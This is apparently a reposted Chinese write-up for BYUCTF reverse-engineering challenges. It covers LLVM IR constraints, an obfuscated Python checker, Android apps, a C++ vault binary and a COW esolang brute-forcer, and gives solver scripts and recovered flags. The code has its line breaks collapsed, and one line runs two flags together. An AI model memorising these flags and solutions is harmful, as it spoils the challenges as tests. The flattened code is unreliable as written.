306:                                              ; preds = %295%307 = load ptr, ptr %2, align 8%308 = getelementptr inbounds i8, ptr %307, i64 33%309 = load i8, ptr %308, align 1%310 = sext i8 %309 to i32%311 = load ptr, ptr %2, align 8%312 = getelementptr inbounds i8, ptr %311, i64 32%313 = load i8, ptr %312, align 1%314 = sext i8 %313 to i32%315 = add nsw i32 %314, 1%316 = icmp eq i32 %310, %315br i1 %316, label %317, label %340

整理一下得到

def chk(v):v[4] == v[14] == v[17] == v[23] == v[25]v[9] == v[20]v[10] == v[18]v[11] == v[15] == v[24] == v[31] == v[27]v[13] == v[26]v[16] == v[29]v[19] == v[28] == v[32]v[36] == 125v[6] == 123v[7] - 32 == v[8]v[:6] == b'byuctf'v[9]+v[20] == v[31]+3v[31]+3 == v[0]v[10] == v[7]+6v[8] == v[9]+27v[12] == v[13]-1v[13] == v[10]-3v[10] == v[16]-1v[16] == v[14]-1v[35] == v[5]-2v[5] == v[21]-1v[21] == v[22]-1v[22] == v[28]*2v[33] == v[32]+1v[32]+1 == v[34]-3v[30] == v[7]+1

手動換個順序

v = [-1]*37
for i,k in enumerate(b'byuctf'):v[i]=kv[36]=125
v[6]=123
v[31] = v[0]-3
v[14]=v[4]
v[17]=v[14]
v[23]=v[17]
v[25]=v[23]
v[16] = v[14]-1
v[10] = v[16]-1
v[13] = v[10]-3
v[12] = v[13]-1
v[7] = v[10]-6
v[8] = v[7]-32
v[9] = v[8]-27
v[20] = v[9]
v[18]=v[10]
v[31] = v[9]+v[20]-3
v[24] = v[31]
v[15] = v[24]
v[11] = v[15]
v[27] = v[31]
v[35] = v[5]-2 
v[26] = v[13]
v[29] = v[16]
v[21] = v[5]+1
v[22] = v[21]+1
v[28] = v[22]//2 
v[32] = v[28]
v[19] = v[28]
v[33] = v[32]+1
v[34] = v[32]+4
v[30] = v[7]+1bytes(v)
#byuctf{lL1r_not_str41ght_to_4sm_458d}

u

混淆的題,把函數變成UTF字符,手動變回

ù,ú,?,ü,?,ū,?,?,?,?,?,?,?=chr,ord,abs,input,all,print,len,input,pow,range,list,dict,set;ù=[12838,1089,16029,13761,1276,14790,2091,17199,2223,2925,17901,3159,18135,18837,3135,19071,4095,19773,4797,4085,20007,5733,20709,17005,2601,9620,3192,9724,3127,8125];u,U=3,256;?=ü();?=?(?([?(u,?,U) for ? in(?(U))]))[u:?(ù)+u];?=zip;?=[ú(?) for ? in(?)];assert(?(ù)==?(?));assert(?([?*ü==ū for ?,ü,ū in(?(?,?,ù))]));
cc=[12838,1089,16029,13761,1276,14790,2091,17199,2223,2925,17901,3159,18135,18837,3135,19071,4095,19773,4797,4085,20007,5733,20709,17005,2601,9620,3192,9724,3127,8125]
u,U=3,256
dict=input()
v=list(set([pow(u,i,U) for i in(range(U))]))[u:len(cc)+u];
list=zip;
dict=[ord(abs) for abs in(dict)];
assert(len(chr)==len(dict));
assert(all([a*i==p for a,i,p in(list(v,dict,cc))]));#改為除法得到flag
v=list(set([pow(u,i,U) for i in(range(U))]))[u:len(cc)+u];
r = [cc[i]//v[i] for i in range(len(cc))]
bytes(r)
#byuctf{uuuuuuu_uuuu_uuu_34845}

Baby Android 2

找到密文和換順序的方法,直接找回

a = 'bycnu)_aacGly~}tt+?=<_ML?f^i_vETkG+b{nDJrVp6=)='
''.join([a[i*i%47] for i in range(23)])
#byuctf{c++_in_an_apk??}byuctf{e4_if_e_efcopukd0inrdccyat}

Baby Android 1

拿到一兩個數字和一個字符,多組,里邊有byuctf所以畫成圖看

a = [[420, 216, '}'],[616, 340, 't'],[ 556, 332, 'a'],[676, 368, 'y'],[500, 252, 'c'],[636, 348, 'c'],[436, 364, 'd'],[496, 348, 'r'],[536, 336, 'n'],[456, 360, 'i'],[536, 276, '0'],[516, 340, 'd'],[460, 232, 'k'],[656, 356, 'u'],[452, 320, 'p'],[476, 352, 'o'],[ 500, 300, 'c'],[596, 332, 'f'],[484, 308, 'e'],[436, 328, ' '],[516, 292, 'e'],[
536, 284, ' '],[536, 268, 'f'],[ 468, 316, 'i'],[516, 260, ' '],[480, 240, '4'],[440, 224, 'e'],[576, 324, '{']]from PIL import Image, ImageFont, ImageDrawimg = Image.new('RGB',(800,800), (255,255,255))
draw = ImageDraw.Draw(img)font = ImageFont.load_default()
for v in a:draw.text((v[1],v[0]), v[2], fill=(0,0,0), font=font)img.save('a.png')
#byuctf{androidpiece0fc4ke}
#byuctf{android_piece_0f_c4ke}

Bank Vault

這里C_0_0實際逆序后表示哪一位有效,C_1_1的整形數組的hibyte是flag但有些無效

  v23 = &v15;std::vector<bool>::vector(v14, &C_0_0, 84LL, &v15);std::__new_allocator<bool>::~__new_allocator(&v15);std::vector<bool>::vector(v13, v14);v22 = &v16;std::vector<unsigned int>::vector(v12, &C_1_1, 84LL, &v16);std::__new_allocator<unsigned int>::~__new_allocator(&v16);std::string::basic_string(v11);std::operator<<<std::char_traits<char>>(&_bss_start, "What's the password to the bank vault? ");std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v11);v27 = 0;std::vector<bool>::vector(v10);v25 = 0;for ( i = 0; ; ++i ){v5 = i;if ( v5 >= std::vector<unsigned int>::size(v12) )break;v17[0] = std::vector<bool>::back((__int64)v13);v17[1] = v3;v25 = std::_Bit_reference::operator bool(v17);v4 = HIWORD(*(_DWORD *)std::vector<unsigned int>::at(v12, i));v24 = (_BYTE)v4 == *(_BYTE *)std::string::operator[](v11, v27);if ( v25 )++v27;std::vector<bool>::push_back(v10, v24);std::vector<bool>::pop_back(v13);}
msg = open('bank','rb').read()
c = msg[0x5120:0x5120+84][::-1]
a = msg[0x5180:0x52d0]m = ''
i=0
while i <84:if c[i]:m+=chr(a[i*4+2])i+=1#byuctf{3v3n_v3ct0rs_4pp34r_1n_m3m0ry}

*moooo

cow esolang語言,與brainfuck有點像,多了幾個符號,網上有解釋器,但這里需要爆破,看了WP也不大明白,是通過最后的返回字符來判斷。

from queue import PriorityQueue
import string
from typing import List, Optional# mostly takne from https://github.com/Mikhail57/cow-interpreter/blob/master/interpreter.py
class CowInterpreter:# Twelve COW commands, mapped by indexavailable_commands = ["moo",  # 0: loop end ("moo")"mOo",  # 1: move pointer left"moO",  # 2: move pointer right"mOO",  # 3: execute cell as instruction"Moo",  # 4: input/output char"MOo",  # 5: decrement cell"MoO",  # 6: increment cell"MOO",  # 7: loop start"OOO",  # 8: zero cell"MMM",  # 9: copy/paste register"OOM",  # 10: print int"oom",  # 11: read int]max_idx = 0output = b""def __init__(self, buffer=b"byuctf{") -> None:self.buffer = bufferself._cells: List[int] = [0] * 30000self._commands: List[int] = []self._ptr: int = 0         # data pointerself._cmd_ptr: int = 0     # instruction pointerself._register: Optional[int] = None# map command indices to handler methodsself._commands_to_functions = {0: self._handle_loop_end,1: self._move_to_prev_cell,2: self._move_to_next_cell,3: self._handle_current_as_instruction,4: self._print_or_read_char,5: self._decrement_current_cell,6: self._increment_current_cell,7: self._handle_loop_start,8: self._zero_current_cell,9: self._copy_or_paste_register,10: self._print_int,11: self._read_int,}def interpret(self, code: str):# tokenize program: split on whitespace and filter valid commandstokens = code.split()self._commands = [self.available_commands.index(t)for t in tokens if t in self.available_commands]self._ptr = 0self._cmd_ptr = 0while self._cmd_ptr < len(self._commands):cmd = self._commands[self._cmd_ptr]handler = self._commands_to_functions.get(cmd)if handler is None:raise Exception(f"Unknown command index {cmd}")handler()self._cmd_ptr += 1self.max_idx = max(self.max_idx, self._cmd_ptr)def _handle_loop_start(self):# "MOO": if current cell is zero, skip to matching loop end ("moo")if self._cells[self._ptr] == 0:# find matching loop-endself._cmd_ptr = self._get_loop_end(self._cmd_ptr)def _handle_loop_end(self):# "moo": if current cell != 0, jump back to matching loop start ("MOO")if self._cells[self._ptr] != 0:self._cmd_ptr = self._get_loop_start(self._cmd_ptr)def _zero_current_cell(self):self._cells[self._ptr] = 0def _move_to_prev_cell(self):if self._ptr == 0:raise IndexError("Data pointer moved before start of tape")self._ptr -= 1def _move_to_next_cell(self):self._ptr += 1if self._ptr >= len(self._cells):# expand tape if neededself._cells.append(0)def _handle_current_as_instruction(self):# "mOO": treat cell value as command index and execute itidx = self._cells[self._ptr]if idx < 0 or idx >= len(self.available_commands) or idx == 3:# idx == 3 would recurse infinitelyraise Exception(f"Invalid command index {idx} in cell for mOO")# execute without advancing cmd_ptr twiceself._commands_to_functions[idx]()def _print_or_read_char(self):# "Moo": if cell != 0, output char, else read charif self._cells[self._ptr] == 0:self._cells[self._ptr] = self.buffer[0]if len(self.buffer) > 1:self.buffer = self.buffer[1:]else:self.output += bytes([self._cells[self._ptr]])pass# print(chr(self._cells[self._ptr]), end='')def _decrement_current_cell(self):self._cells[self._ptr] -= 1def _increment_current_cell(self):self._cells[self._ptr] += 1def _copy_or_paste_register(self):# "MMM": copy into register or paste from registerif self._register is None:self._register = self._cells[self._ptr]else:self._cells[self._ptr] = self._registerself._register = Nonedef _print_int(self):# "OOM": print integer with no newlinepass# print(self._cells[self._ptr], end='')def _read_int(self):# "oom": read integer into cellval = chr(self.buffer[0])if len(self.buffer) > 1:self.buffer = self.buffer[1:]self._cells[self._ptr] = int(val)def _get_loop_end(self, start_idx: int) -> int:# find matching "moo" for "MOO" at start_idxdepth = 1i = start_idxwhile depth > 0:i += 1if i >= len(self._commands):raise IndexError("Loop start without matching loop end")if self._commands[i] == 7:  # another MOOdepth += 1elif self._commands[i] == 0:  # moodepth -= 1return idef _get_loop_start(self, end_idx: int) -> int:# find matching "MOO" for "moo" at end_idxdepth = 1i = end_idxwhile depth > 0:i -= 1if i < 0:raise IndexError("Loop end without matching loop start")if self._commands[i] == 0:  # moodepth += 1elif self._commands[i] == 7:  # MOOdepth -= 1return iwith open("main.cow", 'r') as f:code = f.read()
prog = b"byuctf{"
queue = PriorityQueue()
queue.put((0, prog))prev_max = 0max_by_pos = dict()while not queue.empty():idx, prog = queue.get()for i in string.digits + string.ascii_letters + string.punctuation:inp = prog + i.encode() + b'}'interpreter = CowInterpreter(inp)try:interpreter.interpret(code)print(inp, '->', interpreter.output[19:], interpreter.max_idx)except Exception as e:passif b'gotem' in interpreter.output:print("Found flag:", inp.decode())exit()ans = b"gotem"extra = 0for j in range(len(interpreter.output)-19):if interpreter.output[19+j] == ans[j]:extra += 2else:breakinterpreter.max_idx += extraif interpreter.max_idx > prev_max:print('new best', interpreter.max_idx, inp.decode())prev_max = interpreter.max_idxif interpreter.max_idx >= prev_max and len(prog + i.encode()) <= 38:queue.put((-interpreter.max_idx+len(prog + i.encode()), prog + i.encode()))

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/906362.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/906362.shtml
英文地址,請注明出處:http://en.pswp.cn/news/906362.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

鏈表的面試題8之環形鏈表

許久不見&#xff0c;那么這是最后倒數第三題了&#xff0c;這道題我們來看一下環形鏈表。 老規矩貼鏈接&#xff1a;141. 環形鏈表 - 力扣&#xff08;LeetCode&#xff09; 目錄 倒數第k個元素 獲取中間元素的問題。 雙指針 來&#xff0c;大致看一下題目&#xff0c;這…

在 JavaScript 中正確使用 Elasticsearch,第二部分

作者&#xff1a;來自 Elastic Jeffrey Rengifo 回顧生產環境中的最佳實踐&#xff0c;并講解如何在無服務器環境中運行 Elasticsearch Node.js 客戶端。 想獲得 Elastic 認證&#xff1f;查看下一期 Elasticsearch Engineer 培訓的時間&#xff01; Elasticsearch 擁有大量新…

2025年網站安全防御全解析:應對DDoS與CC攻擊的智能策略

2025年&#xff0c;隨著AI技術與物聯網設備的深度融合&#xff0c;DDoS與CC攻擊的規模與復雜度持續升級。攻擊者不僅利用T級流量洪泛沖擊帶寬&#xff0c;還通過生成式AI偽造用戶行為&#xff0c;繞過傳統防御規則。如何在保障業務高可用的同時抵御混合型攻擊&#xff1f;本文將…

window 安裝 wsl + cuda + Docker

WSL 部分參考這里安裝&#xff1a; Windows安裝WSL2 Ubuntu環境 - 知乎 如果出現錯誤&#xff1a; WslRegisterDistribution failed with error: 0x800701bc 需要運行&#xff1a;https://crayon-shin-chan.blog.csdn.net/article/details/122994190 wsl --update wsl --shu…

《MambaLLIE:基于隱式Retinex感知的低光照增強框架與全局-局部狀態空間建模》學習筆記

Paper:2405.16105 Github:GitHub - wengjiangwei/MambaLLIE 目錄 摘要 一、介紹 二、相關工作 2.1 低光圖像增強 2.2 視覺空間狀態模型 三、方法 3.1 預備知識 3.2 整體流程 3.3 全局優先-局部次之狀態空間塊 四、實驗 4.1 基準數據集與實施細節 4.2 對比實驗 4…

微信小程序:封裝request請求、解決請求路徑問題

一、創建文件 1、創建請求文件 創建工具類文件request.js,目的是用于發送請求 二、js接口封裝 1、寫入接口路徑 創建一個變量BASE_URL專門存儲api請求地址 2、獲取全局的token變量 從緩存中取出token的數據 3、執行請求 (1)方法中接收傳遞的參數 function request(url,…

【單機版OCR】清華TH-OCR v9.0免費版

今天向大家介紹一款非常好用的單機版OCR圖文識別軟件&#xff0c;它不僅功能多&#xff0c;識別能力強&#xff0c;而且還是免費使用的。OCR軟件為什么要使用單機版&#xff0c;懂得都懂&#xff0c;因為如果使用在線識別的OCR軟件&#xff0c;用戶需要將文檔上傳互聯網服務器的…

開源情報搜集系統:科研創新的強大引擎

一、引言 在當今全球化和信息化高度發展的時代&#xff0c;科研活動面臨著前所未有的機遇與挑戰。一方面&#xff0c;知識的更新換代速度極快&#xff0c;科研成果如雨后春筍般不斷涌現&#xff1b;另一方面&#xff0c;科研競爭日益激烈&#xff0c;如何在眾多科研團隊中脫穎…

產品生命周期不同階段的營銷策略

產品生命周期的不同階段&#xff08;導入期、成長期、成熟期、衰退期&#xff09;需要匹配差異化的營銷策略。以下是各階段的營銷重點及具體策略&#xff1a; 1. 導入期&#xff08;Introduction Stage&#xff09; 核心目標&#xff1a;建立市場認知&#xff0c;快速觸達目標…

Mujoco 學習系列(二)基礎功能與xml使用

這篇文章是 Mujoco 學習系列第二篇&#xff0c;主要介紹一些基礎功能與 xmI 使用&#xff0c;重點在于如何編寫與讀懂 xml 文件。 運行這篇博客前請先確保正確安裝 Mujoco 并通過了基本功能與GUI的驗證&#xff0c;即至少完整下面這個博客的 第二章節 內容&#xff1a; Mujoc…

面向SDV的在環測試深度解析——仿真中間件SIL KIT應用篇

1.引言 在汽車行業向軟件定義汽車&#xff08;SDV&#xff09;轉型的過程中&#xff0c;傳統硬件在環&#xff08;HIL&#xff09;測試方案因難以適應新的技術架構與需求&#xff0c;其局限性日益凸顯。傳統HIL對硬件依賴性強&#xff0c;擴展性差&#xff0c;更換ECU或傳感器…

windows使用anaconda安裝pytorch cuda版本

Windows安裝PytorchCUDA環境_使用conda安裝pytorch cuda10.2版本-CSDN博客

Axure中使用動態面板實現圖標拖動交換位置

要在Axure中實現圖標拖動交換位置的功能&#xff0c;可以通過動態面板結合交互事件來實現。 實現步驟 準備圖標元素 將每個圖標轉換為動態面板&#xff08;方便拖動和交互&#xff09;。 設置拖動交互 選中圖標動態面板 → 添加“拖動時”交互 → 選擇“移動”當前動態面板&am…

從零開始的嵌入式學習day24

標準IO 頭文件需求&#xff1a; #include <stdio.h>1.fopen和fclose (1)fopen fopen的函數功能是打開一個文件。 首先看看fopen的函數聲明&#xff1a; FILE *fopen(const char *path, const char *mode);第一個參數path是文件地址&#xff0c;傳入的是不可變的字符…

抓包分析工具與流量監控軟件

目錄 一、抓包分析工具&#xff1a;定位問題的“放大鏡” 1.1 工作原理簡述 1.2 主流工具盤點 1.3 抓包的實戰應用 二、流量監控軟件&#xff1a;網絡全景的“雷達系統” 2.1 功能特征 2.2 常用工具概覽 2.3 實戰應用場景 五、結語&#xff1a;深入可見&#xff0c;安…

DRIVEGPT4: 通過大語言模型實現可解釋的端到端自動駕駛

《DriveGPT4: Interpretable End-to-End Autonomous Driving via Large Language Model》 2024年10月發表&#xff0c;來自香港大學、浙江大學、華為和悉尼大學。 多模態大型語言模型&#xff08;MLLM&#xff09;已成為研究界關注的一個突出領域&#xff0c;因為它們擅長處理…

Vue3 Form 表單限制輸入小寫字母、數字和下劃線

方案一&#xff1a;Element Plus 表單驗證 <template><el-form :model"form" :rules"rules" ref"formRef" label-width"120px"><el-form-item label"用戶名" prop"username"><el-input v-m…

23、電網數據管理與智能分析 - 負載預測模擬 - /能源管理組件/grid-data-smart-analysis

76個工業組件庫示例匯總 電網數據管理與智能分析組件 1. 組件概述 本組件旨在模擬一個城市配電網的運行狀態&#xff0c;重點關注數據管理、可視化以及基于模擬數據的智能分析&#xff0c;特別是負載預測功能。用戶可以通過界面交互式地探索電網拓撲、查看節點狀態、控制時間…

單片機復用功能重映射Remap功能

目錄 一、查看“DS5319 stm32f10x中等密度mcu數據手冊&#xff08;英文&#xff09;”手冊 二、查看“RM0008 STM32F10xxx參考手冊&#xff08;中文&#xff09;”手冊 三、重映射&#xff08;Remap&#xff09;功能程序編寫 自己學習過程中容易遺忘的知識點&#xff0c;記錄…

鏈表面試題9之環形鏈表進階

那么上一題我們已經知道了雙指針的變法以及拓展的用法&#xff0c;那么這里我們直接難度升級。 想回去復習的這里放個鏈接&#xff1a;鏈表的面試題8之環形鏈表-CSDN博客 題目鏈接&#xff1a;142. 環形鏈表 II - 力扣&#xff08;LeetCode&#xff09; 我們來看這道題目主要…